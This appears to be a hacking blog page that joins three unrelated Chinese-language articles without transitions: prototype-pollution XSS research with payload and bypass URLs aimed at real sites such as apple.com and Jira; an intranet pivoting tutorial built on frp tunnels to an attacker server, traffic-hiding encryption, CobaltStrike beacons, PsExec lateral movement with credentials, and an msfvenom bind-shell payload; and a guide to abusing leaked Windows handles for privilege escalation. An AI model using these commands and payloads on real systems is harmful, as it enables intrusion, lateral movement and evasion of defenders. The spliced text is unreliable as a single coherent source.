Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109730

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

原型污染是一個有趣的漏洞,無論是服務器端還是客戶端。基於應用邏輯,原型污染會導致其他漏洞。例如,posix 引入了一種有趣的技術來在模板引擎中實現RCE,MichałBentkowski 展示了繞過客戶端HTML 清理程序,而William Bowling 使用原型污染在HackerOne 上發現了一個反射型XSS。從RCE 到SQL,任何漏洞都可能與javascript 應用程序中的原型污染有關。

介紹在這項研究中,我們的目標很簡單,即掃描所有漏洞披露程序的原型污染,並找到實現XSS 的腳本小工具。這篇技術文章將涉及我們創建的工具、面臨的挑戰以及整個過程中的案例研究。

我們對Web 應用程序感興趣的兩種情況是檢查它是否容易受到原型污染。

情況1在第一種情況下,我們要檢查應用程序是否正在解析查詢/哈希參數,並檢查它是否在過程中污染原型。我們發現80% 的嵌套參數解析器容易受到原型污染的影響。

讓我們假設Web 應用程序使用canjs-deparam 庫來解析查詢參數。正如你在下面的代碼中看到的,它創建了一個空對象並添加了鍵值對。顯然,如果我們請求的URL 是https://victim.com/#a=b__proto__[admin]=1,這會導致原型污染。

如你所想,通過在location.hash 和location.search 中迭代不同的原型污染有效負載,很容易識別應用程序是否具有易受攻擊的原型污染解析器。

以下是查詢字符串的不同變體,這些變體在解析時可能會導致污染。

4.png

SeleniumBot為了實現自動化,我們編寫了一個seleniumBot,它運行在一個巨大的子域數據庫上,並檢查應用程序是否存在漏洞。

瀏覽器擴展Bot的一個漏洞是我們無法掃描應用程序的目錄和授權終端,因為數據庫變得非常大,掃描需要幾天時間,且大多數程序禁止掃描。為了解決這個漏洞,我們編寫了一個chrome 擴展,其運行邏輯與Bot相同,但它會在用戶訪問chrome 中的特定終端時進行掃描。使用擴展程序,我們可以隨便使用chrome,並在後台掃描原型污染,你可以在這裡找到插件。

情況2在這種情況下,我們要檢查是否有任何功能在客戶端的用戶輸入或某些數據/響應處理導致原型污染,大多數情況下這會導致self-XSS,因為攻擊者無法控制輸入如情況1 中的來自該位置輸入。但它值得掃描,大多數時候self-XSS可以轉換為reflection-XSS。

幸運的是,在這種情況下,自動化有點困難,CodeQL 使事情變得更容易。我們只選擇了收入最高的頂級程序,並轉儲了所有的javascript 文件,創建了一個CodeQL 數據庫,並掃描了導致原型污染的模式。

這樣,我們就能夠找到一個用戶控制的JSON,他可以與另一個導致原型污染的應用程序合併。

識別易受攻擊的庫一旦Bot識別出易受攻擊的應用程序,我們的下一個任務是識別易受攻擊的庫和原型被污染的確切行,並將結果存儲在數據庫中。為了識別,我們使用了幾種不同的技術。

如果應用程序並不復雜,在Chrome 開發者工具中搜索諸如location.hash/decodeURIComponent/location.search 之類的關鍵字將導致找到易受攻擊的實現的確切功能。

在Firefox 中阻止JS 資源請求在Firefox 開發者工具網絡活動中有一個很好的選項叫做Block URL,所以為了找到負責原型污染的js 資源,我們阻止URL 並檢查污染的屬性是否未定義。

setter 上的調試器斷點這種技術比其他技術更簡單,當屬性設置為object .prototype時,我們可以設置一個斷點。

7.png

查找腳本小工具什麼是腳本小工具?在某個屬性被污染後,是否有應用程序邏輯或函數會導致Javascript執行?

讓我們看一個在SwiftType Search庫中找到的腳本小工具的簡單示例。實現XSS的有效負載是https://example.com/#__proto__[xxx]=alert(1)。

下面是一段代碼(腳本小工具)負責彈出警報,$.each 迭代this._userServerConfiguration.install.hooks 對像以及原型上的屬性,這導致我們被污染的屬性xxx 被評估。

8.png

基於這個應用程序,我們使用了不同的技術來查找腳本小工具。

關鍵字搜索和源代碼審查如果應用比較簡單,我們可以搜索srcdoc/innerHTML/iframe/createElement 等關鍵字,查看源代碼,檢查是否導致javascript 執行。有時,提到的技術可能根本找不到小工具。在這種情況下,純源代碼審查會顯示一些不錯的小工具,如下例所示。

BlackFan 通過源代碼審查在jQuery 中發現了這個很酷的小工具。

小工具9.png

這是一段小工具的代碼:

10.png

SecurityMB 的pollute.js我們已經圍繞SecurityMB 的pollute.js 編寫了一個burp 擴展,它將所有JS 資源替換為由pollute.js 生成的修改版本。此外,我們修改了pollute.js,使其僅在某個屬性受到污染時才記錄信息。

pollute.js 的基本思想是它通過在所有屬性訪問周圍添加調試函數來檢測代碼,該函數會記錄訪問Object.prototype 屬性時的確切訪問行。

檢查下面的插件。

注意:插件並不完美,tmp.js 可能會被覆蓋,最好使用一個隨機名稱。

Filedescriptor 的不受信任類型擴展不受信任類型通過濫用可信類型來記錄DOM sink,我們檢查這些DOM sinks是否有任何可能被污染的屬性,進而導致XSS。

如果你在安裝了插件的情況下訪問https://msrkp.github.io/,你會注意到jQuery 中的一個innerHTML sink。其中,wrapMap[tag] 是未定義的,這意味著我們可以用數組污染wrapMap 的“li”屬性,並且第一個或第二個元素將被注入到頁面中。

通過污染“li”屬性導致XSS類似於文件描述符的擴展securitymb的pollution .js記錄類似的堆棧跟踪,我們必須檢查源代碼,並檢查它是否導致手動XSS。

一旦找到這個小工具,我們就向相應的程序報告這個漏洞。

將易受攻擊的庫和小工具存儲在數據庫中我們計劃將所有易受攻擊的小工具和庫存儲在數據庫中。

在構建了易受攻擊的庫和腳本、小工具的數據庫後,可以使用它來促進Prototype Pollution 的搜索和利用。

例如,在某些情況下,JavaScript 代碼中存在易受攻擊的庫,但會在特定條件下執行。為了覆蓋這些變體,可以使用正則表達式檢測庫。由於代碼可以通過縮小修改並組裝成一個大的JS 文件,所以搜索正則表達式不應太嚴格,應該使用在縮小過程中不改變的片段。例如,你可以搜索在查詢字符串處理中使用的正則表達式。

為此,構建了一個規則庫,可以通過使用Burp 的“漏洞消息檢查”或“軟件版本報告器”擴展分析HTTP 響應來檢測被動模式下的易受攻擊的庫。

chrome 擴展中添加了相同的功能,它使用數據庫中提到的導致污染的模式搜索js 資源。

Web 應用程序中的被動搜索記錄jQuery 查詢對象易受攻擊的庫。鏈接到burp 插件:https://github.com/BlackFan/cspp-tools/tree/main/match_rules。

示例研究案例研究1:CodeQL這是我最喜歡的一個漏洞,有一次我試圖使用插件和selenium bot 找到污染。但他們都沒有顯示出任何有趣的結果。所以,我想到了使用CodeQL來掃描這個漏洞,因為程序的範圍非常大,而且有很多JS密集型的應用程序。

於是我只能掃描所有有趣的應用程序並將JS 文件下載到一個文件夾中。然後,我創建了一個CodeQL 數據庫,並在https://github.com/github/codeql 上提供的查詢的幫助下編寫了一個查詢,但我面臨的漏洞是我必須為每個庫的基本deparam 查詢編寫一個易受攻擊的代碼模式,這是不可行的。來自GHSecurity 實驗室的@asgerf 提出了一個通用查詢,其中RemoteFlowSource 或location.{hash,search} 作為源,不安全的屬性分配作為Sink。此查詢的缺點是應該調用解析器函數https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fgithub%2Fsecuritylab%2Fdiscussions%2F209%23discussioncomment-145109sa=Dsntz=1usg=AFQjCNFDSqqg5OWJTbhafhqaa4OR2chcjg。無論如何,我在我創建的JS 數據庫上運行這些查詢,並希望找到易受攻擊的合併調用或位置解析器。

令我驚訝的是,它顯示了下載的javascript 文件中存在易受攻擊的合併的結果。然後一位研究人員和我開始努力利用它。由於位置解析中不存在污染,我們必須找出哪些函數污染了原型。

1、污染原型

經過兩天的努力,我們能夠通過將JSON 有效負載發送到保存有效負載的某個終端來污染原型,當客戶端收到相同的有效負載時,原型就會受到污染。

2、尋找小工具

我們花了兩天多的時間才找到合適的小工具,在一個Web Worker中發現了一個javascript代碼的執行。

15.png

由於Web Worker 不能直接操作DOM,所以這個XSS 的影響非常低。經過大量的源代碼審查,我們能夠找到合適的小工具。

3、帳戶接管權限

你可能已經註意到這是一個self XSS,我們必須展示其影響。又過了一天,我們通過在iframes/windows 中打開敏感頁面來升級self XSS 以接管帳戶,並使用SAML 登錄我們的帳戶並讀取敏感頁面中的數據以接管帳戶。

案例研究2:Jira Service Management 4.16.0 上的原型污染我們使用selenium bot 掃描了HackerOne、Bugcrowd 和Intigriti 中的所有私有和公共程序。有許多具有位置解析功能的應用程序會導致污染,而且大多數情況下漏洞在於第三方分析服務或使用易受攻擊的庫。我們注意到一個易受攻擊的網站,其域為jira.random.com/servicedesk/customer/user/requests?__proto__.x=11111。出於好奇,我們尋找了各個公司的Jira 服務管理。

污染的根本原因:Jira服務管理使用的骨干查詢參數容易受到原型污染的影響。

XSS腳本小工具:Posix想出了下面這個小工具,它可以在所有Jira網站上使用。

Gadget:__proto__.isFresh=xxx__proto__.onmousemove=alert(1)//__proto__.onmousemove=1

腳本:

16.png

下面是使用文件描述符的不受信任類型找到的其他一些小工具。

17.png

jira.mozilla.com 上的XSS

其中一個使用Jira的Mozilla域也有同樣的漏洞,我們把這個漏洞提交給了Mozilla,得到了2000美元的獎勵。

URL:

18.png

我們最初認為這是用戶安裝的模塊漏洞,但後來意識到該漏洞存在於所有自託管的4.16.0 版以下的Jira網站中。

Jira 通過將__proto__, constructor和prototype項列入黑名單來修復該漏洞,但是如果你清楚地註意到_setParamValue 函數,字符[] 將從項中刪除,這意味著我們可以使用像__pro[]to__ 這樣的項繞過修復。

19.png

繞過:https://local:8080/servicedesk/customer/user/signup?__pro[]to__.div=1__pro[]to__.div=%3Cimg%20src%20onerror=alert(document.domain)%3E__pro[]to__.div=1

案例研究3:使用Rahul 和Harsh 的chrome 擴展程序發現apple.com 上的XSS1、發現漏洞

Rahul 和Harsh最終確定了創建可用於這些終端的chrome 擴展。他們編寫了一個基本的chrome 擴展,基本上用原型污染有效載荷更改location.search/location.hash 並檢查原型是否被污染。

當時,他們已經在研究蘋果的計劃。所以,他們做的第一件事就是開始瀏覽apple.com的網頁來測試這個插件。該擴展程序在https://www.apple.com/shop/buy-watch/apple-watch 彈出了存在原型污染的通知。有那麼一瞬間,我們都認為這是一個誤報,但原型確實被污染了。

2、尋找小工具

在BlackFan 的幫助下,我們很快找到了一個小工具。最終的URL 是,https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image__proto__[onerror]=alert(1)

污染位於蘋果用來解析位置的canJS-deparam 庫中。

最初,蘋果通過檢查__proto__ 是否在屬性中來修復該漏洞,因為你可能已經知道這可以使用[constructor][prototype] 繞過,因此最終繞過URL 將是https://www.apple.com/shop /buy-watch/apple-watch?a[constructor][prototype]=imagea[constructor][prototype][onerror]=alert(1)。

我們提交了繞過修復,蘋果通過完全刪除位置解析修復了這個漏洞。

案例研究4:HubSpot 分析HubSpot 容易受到原型污染的影響,它在解析查詢字符串(location.search)的js 文件中使用了deparam。 HubSpot 被超過121000 家公司使用。我們發現,由於HubSpot使用的第三方分析,許多應用程序容易受到XSS的攻擊。

1、第一種繞過方法

Hubspot通過將__proto__ key列入黑名單來修復這個漏洞,因此它可以被構造函數[prototype][taint]=contamination繞過,我們報告了這個繞過,他們通過創建一個空Object來修復這個繞過。

20.png

2、第二種繞過方法:通過Nikita Stupin 繞過

Nikita Stupin 使用以下有效載荷找到了一個很酷的繞過方法:

?__proto__=0[taint]=polluted

如果__proto_, constructor, prototype 存在於項中,他們通過將小寫更改為大寫來修復繞過。

22.png

案例研究5:Masato Kinugawa 的細分分析污染Segment Analytics 使用容易受到原型污染的組件查詢字符串。這是一個有趣的原型污染,只有當屬性為Number 時才會發生污染。

23.png

這是造成污染的代碼。

24.png

找到一個只有數字污染的小工具是非常困難的。我們發現許多使用組件查詢字符串或分段分析的漏洞賞金網站仍然容易受到污染,但沒有小工具,就沒有任何影響。我們無法在任何易受此漏洞影響的應用程序中實現XSS。

Trello 就是這個漏洞的一個例子,你可以注意到Object.prototype[123] 被污染了:https://trello.com/?__proto__[123]=xx

在knockout.js中,securityymb找到了一個使用數字的小工具,如果易受攻擊的網站使用knockout.js,那你就太幸運了。

25.png

緩解措施1.在合併兩個對像或解析位置並將其轉換為對象時,請確保使用包含以下__proto__、prototype、constructor 的屬性的拒絕列表,確保在將屬性添加到對象之前進行拒絕列表檢查,並且不要像Jira 那樣犯錯誤。

2.如果應用程序是Node.js,你可以使用命令行選項--disable-proto 禁用Object.prototype.__proto__ 屬性。

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

本文内容按以下思维导图展开

jk52mz33ahj14545.png

 目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

frp(socks5)

frp服务端配置文件

[common]bind_port = 8080

frp客户端配置文件

[common]server_addr = xx.xx.xx.xxserver_port = 8080#服务端口使用Web常见端口[socks5]type = tcpremote_port = 8088plugin = socks5use_encryption = trueuse_compression = true#socks5口令#plugin_user = SuperMan#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽

nk3hgwh4rhk14550.png

setg Proxies socks5:xxx.xxx.xxx.xxx:8088

x0qdtdsieu314552.png

qc0dostqw0l14554.png

加密压缩的对比

这是frp客户端配置文件中未使用 encryption 与 compression 功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

duy4gjrtawl14557.png

 使用 encryption 与 compression 功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备

btkptrhnkbp14559.png

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启

beacon > socks 1024 #端口根据VPS实际情况进行设置

fs4aud0pyee14561.png

 菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

qi5d0syfdup14562.png

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

(在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的Listener>上线)

45zpulu1cs514564.png

 运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

alqjijd5ep314566.png

2on5pydfavx14567.png

 可在主Beacon上用link host链接或unlink host断开。

beacon> link 192.168.144.155beacon> unlink 192.168.144.155

gfx02rmg4af14569.png

Link Listener

 在已上线的主机创建Listener。

 tu25twcnbdq14573.png

 

 

 导出该类型Listener对应的可执行文件或dll等。

lsmdcmfvnpu14575.png

 

 

 选择刚建立的Listener。

pgi1oiqaibu14577.png

 

 

 上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

yjppeafztse14580.png

 

 

 在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

yq2qz5kwlqt14582.png

beacon> shell netstat -ano |findstr 4444

b3qmos2awic14584.png

SSH Login
beacon> ssh 192.168.144.174:22 root adminbeacon> ssh 192.168.144.203:22 root admin

0moanxuai1g14586.png

 在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

epbil1520vf14588.png

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

nfb3l5iqb5t14590.png

 利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

3k0d2vatlyo14595.png

Neo-reGeorg (加密)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

bmdimouurxm14597.png

 

 qvua1jgu3vv14602.png

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

dleyr1ugkn314606.png

reduh (单端口转发)

reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

wsvyfjec0do14609.png

 

 这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe#--platform <platform> 指定payload的目标平台#-e, --encoder <encoder> 指定需要使用的编码器#-i, --iterations <count> 指定payload的编码次数

zgmlpmc2eef14616.png

 上传payload到目标服务器,并执行。

bzdhw1jdmgz14620.png

metasploit是监听转发后的地址与端口。

sudo msfconsole -qmsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/shell_bind_tcpmsf5 exploit(multi/handler) > set rhost 127.0.0.1msf5 exploit(multi/handler) > set lport 5353msf5 exploit(multi/handler) > run -j

monw0bnpwgg14624.png

java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx telnet 127.0.0.1 1010>>[createTunnel]5353:127.0.0.1:53

vmjxjhpvx4j14630.png

 

 可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 10080msf5 auxiliary(server/socks4a) > run -j

frmkpftajtq14634.png

注意

为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

sehmxxu0plq14642.png

隔离网络(多级代理)

 内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…

frp

现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。

(具体,参考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html)

udxcgscukts14647.png

proxifier

用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

odyy4l0quk514649.png

 

 设置代理规则,选择对应代理。

2bc4xk1lpfw14653.png

 

 二层代理成功,内网隔离机445探测开放。

xqwrt25isai14655.png

Proxychains

命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

e4z2sn2dkjk14657.png

 

 联动metasploit,ms17_010探测,可以看到代理链的传输过程。

iqlciihlxqb14662.png

 

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

msf5 exploit(multi/handler) > sessions 1meterpreter > run get_local_subnetsmeterpreter > run autoroute -pmeterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -pmeterpreter > background

2oiersnnl1o14667.png

 

 上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1msf5 exploit(multi/handler) > route

mr5cdxcltcp14672.png

 

 可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 1080msf5 auxiliary(server/socks4a) > run -j

然后打开/etc/proxychains.conf

5gwfniooxf214674.png



原文链接: https://www.cnblogs.com/yokan/p/14057794.html

在某些情況下,具有高完整性或系統完整性的進程會向權限進程/線程/令牌請求句柄,然後生成低完整性進程。如果這些句柄足夠強大,且類型正確,並且由子進程繼承,我們可以從另一個進程複製它們,然後濫用它們來升級權限或繞過UAC。在這篇文章中,我們將介紹如何尋找和濫用這種漏洞。

介紹本質上,這個想法是看看我們是否可以自動找到擁有高完整性(也就是提升)或SYSTEM進程的權限句柄的非權限進程,然後檢查我們是否可以作為一個非權限用戶附加到這些進程上,並複制這些句柄,以便以後濫用它們。我們的工具會受到哪些限制?

1.它必須作為中等完整性進程運行;

2. 進程令牌中沒有SeDebugPrivilege(中等完整性的進程默認沒有這個權限);

3. 沒有UAC 繞過,因為它也必須適用於非管理用戶;

這個過程有點複雜,我們將經歷的步驟或多或少如下:

1.枚舉所有進程持有的所有句柄;

2.過濾掉我們不感興趣的句柄,現在我們只關注進程、線程和令牌的句柄,因為它們更容易被武器化;

3.過濾掉引用低完整性進程/線程/令牌的句柄;

4.過濾掉完整性大於中等的進程持有的句柄,除非獲得SeDebugPrivilege,否則我們不能附加到它們上,這違背了本文的目的;

5.複製其餘的句柄並將它們導入我們的進程,並試圖濫用它們來升級權限或者至少繞過UAC;

1.jpg

當然,我們不太可能在一台全新的Windows設備上滿足這些條件,所以為了避免這個問題,我將使用一個我專門為此目的編寫的易受攻擊的應用程序。

句柄處理正如我在這個Twitter線程中簡要討論的那樣,Windows是一個基於對象的操作系統,這意味著每個實體(進程、線程、互斥鎖等)在內核中都以數據結構的形式有一個“對象”表示。例如,對於進程,該數據結構的類型是_EPROCESS。作為存在於內核空間的數據,普通的用戶模式代碼無法直接與這些數據結構交互,因此操作系統公開了一個間接機制,該機制依賴於特殊的HANDLE類型變量以及用於服務的SC_HANDLE 等派生類型。句柄只不過是內核空間表中的索引,對每個進程來說都是私有的。表中的每一項都包含了它所指向的對象的地址以及該句柄對該對象的訪問級別。這個表由每個進程的_EPROCESS結構的ObjectTable成員(它的類型是_HANDLE_TABLE*,因此它指向一個_HANDLE_TABLE)指向。

為了更容易理解,讓我們看一個例子。要獲得進程的句柄,我們可以使用OpenProcess Win32 API,定義如下:

2.png

它需要3個參數:

dwDesiredAccess是一個DWORD,它指定了我們希望對我們試圖打開的進程擁有的訪問級別;

bInheritHandle是一個布爾值,如果設置為TRUE,將使句柄可繼承,這意味著調用進程在子進程生成時將返回的句柄複製給子進程(以防我們的程序調用CreateProcess之類的函數);

dwProcessId是一個DWORD,用於指定我們想打開哪個進程(通過提供它的PID);

在下一行中,我將嘗試打開系統進程(它始終具有PID 4)的句柄,向內核指定我希望句柄擁有盡可能少的特權,只需要查詢有關信息的子集進程(PROCESS_QUERY_LIMITED_INFORMATION),並且我希望該程序的子進程繼承返回的句柄(TRUE)。

3.png

OpenProcess返回的System進程的句柄(如果它沒有因為某種原因失敗)被放入hProcess變量中以供以後使用。

在後台,內核執行一些安全檢查,如果這些檢查通過,則獲取所提供的PID,解析相關_EPROCESS結構的地址,並將其複製到句柄表中的一個新條目中。之後,它將訪問掩碼(即提供的訪問級別)複製到相同的條目中,並將條目值返回給調用代碼。

當你調用其他函數(如OpenThread和OpenToken)時,也會發生類似的事情。

查看句柄正如我們前面介紹的,句柄本質上是表的索引。每個條目都包含句柄所引用對象的地址以及句柄的訪問級別。我們可以使用Process Explorer 或Process Hacker 等工具查看這些信息:

4.png

從這個Process Explorer 屏幕截圖中,我們可以獲得一些信息:

紅框:句柄所指的對像類型;

藍色框:句柄值(表項的實際索引);

黃色框:句柄所指對象的地址;

綠色框:訪問掩碼及其解碼值(訪問掩碼是在Windows.h 頭文件中定義的宏),這告訴我們在對像上授予句柄持有者哪些特權;

有很多方法可以獲得這些信息,不一定需要使用在內核模式下運行的代碼。在這些方法中,最實用和最有用的是依賴原生API NtQuerySystemInformation,當調用它時傳遞SystemHandleInformation (0x10) 值作為其第一個參數,返回一個指向SYSTEM_HANDLE 變量數組的指針,其中每個變量都引用一個由系統上的進程打開的句柄。

5.png

讓我們來看看用c++實現它的一種可能的方法。

6.png

在這段代碼中,我們使用以下變量:

queryInfoStatus 將保存NtQuerySystemInformation 的返回值;

tempHandleInfo 將保存有關係統NtQuerySystemInformation 為我們獲取的所有句柄的數據;

handleInfoSize 是對所說數據量的“猜測”。不要擔心,因為每次NtQuerySystemInformation 將返回STATUS_INFO_LENGTH_MISMATCH 時這個變量都會加倍,這是一個告訴我們分配的空間不夠的值;

handleInfo 是指向內存位置的指針NtQuerySystemInformation 將填充我們需要的數據;

不要對這裡的while 循環感到困惑,正如我們所說,我們只是反複調用函數,直到分配的內存空間足夠大,可以容納所有的數據。在使用Windows本機API時,這種類型的操作非常普遍。

NtQuerySystemInformation 獲取的數據可以通過簡單的迭代來解析,如下所示:

7.png

從代碼中可以看出,變量句柄是SYSTEM_HANDLE 類型的結構(自動從代碼中刪除)有許多成員提供有關它所引用的句柄的有用信息。最有趣的成員是:

ProcessId:持有句柄的進程;

Handle:持有句柄本身的進程內部的句柄值;

Object:句柄指向的對像在內核空間中的地址;

ObjectTypeNumber:一個未記錄的BYTE 變量,用於標識句柄所指對象的類型。為了解釋它,需要進行一些逆向工程和挖掘,只要說進程由值0x07 標識,線程由0x08 標識,令牌由0x05 標識就足夠了;

GrantedAccess 句柄授予的對內核對象的訪問級別,對於進程,你可以找到諸如PROCESS_ALL_ACCESS、PROCESS_CREATE_PROCESS 等值。

讓我們運行上述代碼並查看其輸出結果:

8.png

我們可以從對像類型的0x7 值推斷出,在這段摘錄中,我們看到PID 為4 的進程(即任何Windows 機器上的系統進程)當前已打開3 個句柄。所有這些句柄都引用進程類型的內核對象,每個都有自己的內核空間地址,但只有第一個是特權句柄,正如你可以從其值推斷出的那樣,0x1fffff,這是PROCESS_ALL_ACCESS 翻譯的內容。不幸的是,在我的研究中,我發現沒有直接的方法可以直接提取SYSTEM_HANDLE 結構的ObjectAddress 成員所指向的進程的PID。稍後我們將看到一個巧妙的技巧來規避這個問題,但現在讓我們使用Process Explorer 檢查它正在使用哪個進程。

9.png

正如你所看到的,值為0x828的句柄的類型是process,它引用進程services.exe。對像地址和被授予的訪問也都簽出了,如果你查看圖像的右側,你將看到解碼的訪問掩碼顯示PROCESS_ALL_ACCESS,正如預期的那樣。

這是非常有趣的,因為它本質上允許我們查看任何進程的句柄表,而不管它的安全上下文和PP(L)級別。

從目標進程的對像地址獲取目標進程的PID如上所述,我沒有找到一種方法來取回給定進程的SYSTEM_HANDLE 進程的PID,但我確實找到了一個有趣的解決方法。讓我們先來看看一些假設:

1.SYSTEM_HANDLE結構包含Object成員,該成員保存內核對像地址,該地址在內核空間中;

2.在Windows上,所有進程都有自己的地址空間,但是地址空間的內核空間部分(64位進程的最大128TB)對所有進程是相同的。內核空間中的地址在所有進程中保存相同的數據;

3.提到進程的句柄時,SYSTEM_HANDLE的Object成員指向進程本身的_EPROCESS結構;

4.每個進程只有一個_EPROCESS 結構;

5.我們可以通過調用OpenProcess 並將PROCESS_QUERY_LIMITED_INFORMATION 指定為所需的訪問值來獲取任何進程的句柄,而不管其安全上下文如何;

從這些假設中,我們可以推斷出以下信息:

1.如果句柄在同一個對像上打開,則兩個不同SYSTEM_HANDLE 結構的Object 成員將相同,而與持有該句柄的進程無關,例如,由兩個不同進程在同一文件上打開的兩個句柄將具有相同的Object 值:

1.1由兩個不同進程打開的同一進程的兩個句柄將具有匹配的Object 值;

1.2線程、令牌等也是如此;

2.當調用NtQuerySystemInformation 時,我們可以枚舉我們自己的進程持有的句柄;

如果我們通過OpenProcess 獲得一個進程的句柄,我們就知道該進程的PID,並且通過NtQuerySystemInformation,它的_EPROCESS 的內核空間地址

你能看到我們要去哪裡嗎?如果我們設法打開一個對所有進程具有訪問PROCESS_QUERY_LIMITED_INFORMATION 的句柄,然後通過NtQuerySystemInformation 檢索所有系統句柄,我們就可以過濾掉所有不屬於我們進程的句柄,並從那些屬於我們進程的句柄中提取對象值並在它與生成的PID 之間進行匹配。當然,線程也可以這樣做,只使用OpenThread 和THREAD_QUERY_INFORMATION_LIMITED。

為了有效地打開系統上的所有進程和線程,我們可以依賴TlHelp32.h 庫的例程,它會允許我們拍攝系統上所有進程和線程的快照,並遍歷該快照以獲取拍攝快照時運行的進程和線程的PID 和TID(線程ID)。

下面的代碼塊顯示了我們如何獲取所述快照並遍歷它以獲取所有進程的PID。

10.png

首先定義一個std:map,這是c++中的一個類似字典的類,它允許我們跟踪指向PID的句柄,我們將其稱為mHandleId。

完成後,我們使用CreateToolhelp32Snapshot 獲取有關進程的系統狀態快照,並指定我們只需要進程(通過TH32CS_SNAPPROCESS 參數)。這個快照被分配給快照變量,它的類型是wil:unique_handle,它是WIL 庫的一個C++ 類,它使我們擺脫了在使用句柄後必須正確清理句柄的負擔。完成後,我們定義並初始化一個名為processEntry 的PROCESSENTRY32W 變量,一旦我們開始遍歷快照,它將保存我們正在檢查的進程的信息。

通過調用Process32FirstW 並用快照中第一個進程的數據填充processEntry。對於每個進程,我們嘗試在其PID 上使用PROCESS_QUERY_LIMITED_INFORMATION 調用OpenProcess,如果成功,我們將句柄- PID 對存儲在mHandleId 映射中。

